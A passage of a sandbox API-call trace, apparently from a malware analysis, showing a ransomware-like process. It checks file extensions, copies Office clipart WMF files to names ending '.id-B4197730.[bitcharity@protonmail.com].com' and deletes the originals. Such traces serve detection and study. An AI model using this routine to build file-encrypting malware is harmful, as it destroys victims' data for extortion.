(lpString1=".doc", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString=".docx") returned 5 [0298.416] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.416] lstrlenW (lpString=".pdf") returned 4 [0298.416] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString=".xls") returned 4 [0298.416] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.416] lstrlenW (lpString=".xlsx") returned 5 [0298.416] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.416] lstrlenW (lpString=".ppt") returned 4 [0298.416] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString=".zip") returned 4 [0298.416] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.416] lstrlenW (lpString=".rar") returned 4 [0298.416] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString=".bz2") returned 4 [0298.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString=".7z") returned 3 [0298.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString=".dbf") returned 4 [0298.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString=".1cd") returned 4 [0298.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString=".jpg") returned 4 [0298.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.417] lstrlenW (lpString=".doc") returned 4 [0298.417] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString=".docx") returned 5 [0298.417] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.417] lstrlenW (lpString=".pdf") returned 4 [0298.417] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString=".xls") returned 4 [0298.417] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.417] lstrlenW (lpString=".xlsx") returned 5 [0298.417] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.417] lstrlenW (lpString=".ppt") returned 4 [0298.417] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.417] lstrlenW (lpString=".zip") returned 4 [0298.417] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.417] lstrlenW (lpString=".rar") returned 4 [0298.417] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString=".bz2") returned 4 [0298.417] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString=".7z") returned 3 [0298.417] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.417] lstrlenW (lpString=".dbf") returned 4 [0298.417] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.417] lstrlenW (lpString=".1cd") returned 4 [0298.417] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF") returned 68 [0298.417] lstrlenW (lpString=".jpg") returned 4 [0298.417] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.417] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.418] lstrlenW (lpString="FD01191_.WMF") returned 12 [0298.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.418] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=3964) returned 1 [0298.418] CloseHandle (hObject=0x10bc) returned 1 [0298.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0298.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.418] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.418] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.419] GetLastError () returned 0x0 [0298.419] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0xf7c, lpOverlapped=0x0) returned 1 [0298.450] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xf80, lpOverlapped=0x0) returned 1 [0298.453] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.453] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.453] SetEndOfFile (hFile=0x10dc) returned 1 [0298.453] CloseHandle (hObject=0x10dc) returned 1 [0298.453] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.454] SetEndOfFile (hFile=0x10bc) returned 1 [0298.454] CloseHandle (hObject=0x10bc) returned 1 [0298.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.455] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 1 [0298.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.455] lstrlenW (lpString=".doc") returned 4 [0298.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.455] lstrlenW (lpString=".docx") returned 5 [0298.455] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.455] lstrlenW (lpString=".pdf") returned 4 [0298.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.455] lstrlenW (lpString=".xls") returned 4 [0298.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.455] lstrlenW (lpString=".xlsx") returned 5 [0298.455] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.455] lstrlenW (lpString=".ppt") returned 4 [0298.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.455] lstrlenW (lpString=".zip") returned 4 [0298.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.455] lstrlenW (lpString=".rar") returned 4 [0298.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".bz2") returned 4 [0298.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".7z") returned 3 [0298.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString=".dbf") returned 4 [0298.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString=".1cd") returned 4 [0298.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString=".jpg") returned 4 [0298.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString=".doc") returned 4 [0298.456] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".docx") returned 5 [0298.456] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.456] lstrlenW (lpString=".pdf") returned 4 [0298.456] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".xls") returned 4 [0298.456] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.456] lstrlenW (lpString=".xlsx") returned 5 [0298.456] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.456] lstrlenW (lpString=".ppt") returned 4 [0298.456] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.456] lstrlenW (lpString=".zip") returned 4 [0298.456] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.456] lstrlenW (lpString=".rar") returned 4 [0298.456] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".bz2") returned 4 [0298.456] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.456] lstrlenW (lpString=".7z") returned 3 [0298.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.457] lstrlenW (lpString=".dbf") returned 4 [0298.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.457] lstrlenW (lpString=".1cd") returned 4 [0298.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF") returned 68 [0298.457] lstrlenW (lpString=".jpg") returned 4 [0298.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.457] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.457] lstrlenW (lpString="FD01548_.WMF") returned 12 [0298.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.457] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=10316) returned 1 [0298.457] CloseHandle (hObject=0x10bc) returned 1 [0298.457] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220 [0298.458] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.458] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.458] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.458] GetLastError () returned 0x0 [0298.458] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x284c, lpOverlapped=0x0) returned 1 [0298.544] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x2850, lpOverlapped=0x0) returned 1 [0298.545] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.545] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.545] SetEndOfFile (hFile=0x10dc) returned 1 [0298.546] CloseHandle (hObject=0x10dc) returned 1 [0298.546] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.546] SetEndOfFile (hFile=0x10bc) returned 1 [0298.547] CloseHandle (hObject=0x10bc) returned 1 [0298.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1 [0298.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.547] lstrlenW (lpString=".doc") returned 4 [0298.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.547] lstrlenW (lpString=".docx") returned 5 [0298.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.547] lstrlenW (lpString=".pdf") returned 4 [0298.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.547] lstrlenW (lpString=".xls") returned 4 [0298.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.547] lstrlenW (lpString=".xlsx") returned 5 [0298.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.547] lstrlenW (lpString=".ppt") returned 4 [0298.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".zip") returned 4 [0298.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.548] lstrlenW (lpString=".rar") returned 4 [0298.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString=".bz2") returned 4 [0298.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString=".7z") returned 3 [0298.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".dbf") returned 4 [0298.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".1cd") returned 4 [0298.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".jpg") returned 4 [0298.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".doc") returned 4 [0298.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString=".docx") returned 5 [0298.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.548] lstrlenW (lpString=".pdf") returned 4 [0298.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString=".xls") returned 4 [0298.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0298.548] lstrlenW (lpString=".xlsx") returned 5 [0298.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0298.548] lstrlenW (lpString=".ppt") returned 4 [0298.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0298.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.548] lstrlenW (lpString=".zip") returned 4 [0298.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0298.548] lstrlenW (lpString=".rar") returned 4 [0298.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0298.549] lstrlenW (lpString=".bz2") returned 4 [0298.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0298.549] lstrlenW (lpString=".7z") returned 3 [0298.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0298.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.549] lstrlenW (lpString=".dbf") returned 4 [0298.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0298.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.549] lstrlenW (lpString=".1cd") returned 4 [0298.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0298.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68 [0298.549] lstrlenW (lpString=".jpg") returned 4 [0298.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0298.549] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0298.549] lstrlenW (lpString="FD01657_.WMF") returned 12 [0298.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.549] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=30414) returned 1 [0298.550] CloseHandle (hObject=0x10bc) returned 1 [0298.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220 [0298.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0298.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0298.550] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.550] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0298.550] GetLastError () returned 0x0 [0298.550] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0298.610] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0298.611] ReadFile (in: hFile=0x10bc, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0298.611] WriteFile (in: hFile=0x10dc, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0298.611] SetEndOfFile (hFile=0x10dc) returned 1 [0298.612] CloseHandle (hObject=0x10dc) returned 1 [0298.612] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0298.612] SetEndOfFile (hFile=0x10bc) returned 1 [0298.613] CloseHandle (hObject=0x10bc) returned 1 [0298.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0298.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0298.740] lstrlenW (lpString=".doc") returned 4 [0298.740] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0298.741] lstrlenW (lpString=".docx") returned 5 [0298.741] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0298.741] lstrlenW (lpString=".pdf") returned 4 [0298.741] lstrcmpiW (lpString1=".pdf", 